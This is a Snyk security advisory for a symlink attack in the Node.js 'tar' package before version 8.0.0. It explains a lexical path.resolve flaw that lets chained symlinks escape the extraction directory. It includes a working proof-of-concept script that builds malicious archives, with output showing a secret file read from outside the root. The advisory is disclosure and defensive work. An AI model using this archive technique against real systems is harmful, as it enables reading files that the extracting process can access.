Symlink Attack Affecting tar package, versions <8.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.92% (62nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Symlink Attack vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-TAR-23314544
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • creditZachariah Mithani

Introduced: 2 Dec 2026

NewCVE-2026-140244  (opens in a new tab)
CWE-22  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the symlink linkpath containment check in src/unpack.ts, which performs a lexical path.resolve rather than a filesystem-aware resolution. An attacker can craft a tar archive with two entries: a first symlink pointing to . (accepted as within cwd) and a second symlink whose target traverses through the first via s1/../secret.txt. Because path.resolve collapses the .. lexically, the resolved path appears to remain inside the extraction root, but the kernel follows the first symlink before applying .., causing the second symlink to point outside the extraction directory. This allows arbitrary file read of any file accessible to the extracting process by planting a symlink that escapes the extraction root.

PoC

tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.

const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
 direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
 dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
 hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
 hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
 file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
  fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
  const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
  const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
  const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
  const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
  let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
  console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct             warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1      warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1    warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs       warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link  warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false

The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.

Note: The PoC targets tar 7.5.22, tar-stream 3.2.2, and Node.js 22, run inside a Docker container with --network none.

CVSS Base Scores

version 4.0
version 3.1